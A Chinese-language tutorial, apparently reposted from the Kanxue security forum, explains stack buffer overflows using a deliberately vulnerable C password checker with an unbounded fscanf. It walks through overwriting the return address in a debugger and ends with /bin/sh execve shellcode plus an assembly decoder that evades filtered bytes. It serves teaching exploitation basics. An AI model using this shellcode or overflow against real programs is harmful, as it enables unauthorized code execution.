栈溢出原理和利用
本文为看雪论坛优秀文章
看雪论坛作者ID:自然dashen
int main(void)
{
char cPas[20]={20 *0};
int iResult;
FILE* pFile = NULL;
pFile = fopen("pd.txt", "r");
fscanf(pFile, "%s",cPas);
iResult=strcmp(Password, cPas);
if(iResult == 0)
{
printf("Welcom\r\n");
}
else
{
printf("fail\r\n");
}
fclose(pFile);
return 0;
}
栈溢出是指向向栈中写入了超出限定长度的数据,溢出的数据会覆盖栈中其它数据,从而影响程序的运行。
+ fscanf()函数(有点像正则表达式):
功 能: 从一个流中执行格式化输入,fscanf遇到空格和换行时结束,注意空格时也结束。
用 法:int fscanf(FILE *stream, char *format,[argument...]);
案例代码中fscanf读取文件到cPas中,没有限定读多少,那么可以读大量的16进制到栈里。
如图:
把断点下到fscanf这个函数在这里,注释是我自己写的。可以发现buff是ecx的值,所有在堆栈那里跟到buff。然后选择锁定堆栈,为了让我们方便观看这一块堆栈:
F8单步走一步,然后发现读的值在栈里面了,可以发现下面有个返回地址,如果我们把读的数据返回地址给覆盖成我们的代码地址呢?
是不是就可以执行我们的代码了。返回地址是6*7=28字节后面的4自己改我们的返回地址。
由上图可以知道第25个字节是我们的返回地址,编写好记住栈的返回地址的地址是0018FF4c,我们往这个地址里面改成我们需要返回的地址内容,我改的是0018FF50,下面是我的nop代码。
F8执行fscanf,读入的数据把返回地址覆盖了,返回地址变成了0018FF50。
最后走到retn的地方,retn的操作是jmp esp 并且 pop esp所有单步F8的话会到0018FF50这个地方执行代码。
观察Eip和反汇编窗口,发现执行了我们的代码:
>>>> 问题
问题
1. 首先栈的位置不一定能确定,那么返回值的代码同样不能确定,我们的目的是要在返回函数地址的下一行执行我们的代码。
2. fscanf函数在读取到0XA,0XC,0X20...这样的Hex时会被中断。
>>>> 解决问题
解决问题
Explanation:
6a 0b push 0xb
58 pop eax
99 cdq
68 2f 73 68 00 push 0x68732f
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx,esp
31 c9 xor ecx,ecx
cd 80 int 0x80
.386
.model flat, stdcall ;32 bit memory model
option casemap :none ;case sensitive
.code
start:
call Next
Next:
pop ebx
sub ebx,offset Next
lea eax,[ebx+offset mydata]
;1Bh==>Bh
mov bl,[eax+1]
sub bl,10h
mov [eax+1],bl
;0CEh==>CDh
mov bl,[eax+18]
dec bl
mov [eax+18],bl
mydata db 6Ah,1Bh,58h,099h,68h,2Fh,73h,68h,00h,68h,2Fh,62h,69h,6Eh,89h,0E3h,31h,0C9h,0CEh,80h
ret
end start
看雪ID:自然dashen
https://bbs.pediy.com/user-710414.htm
推荐文章++++
* 某盗链App逆向
好书推荐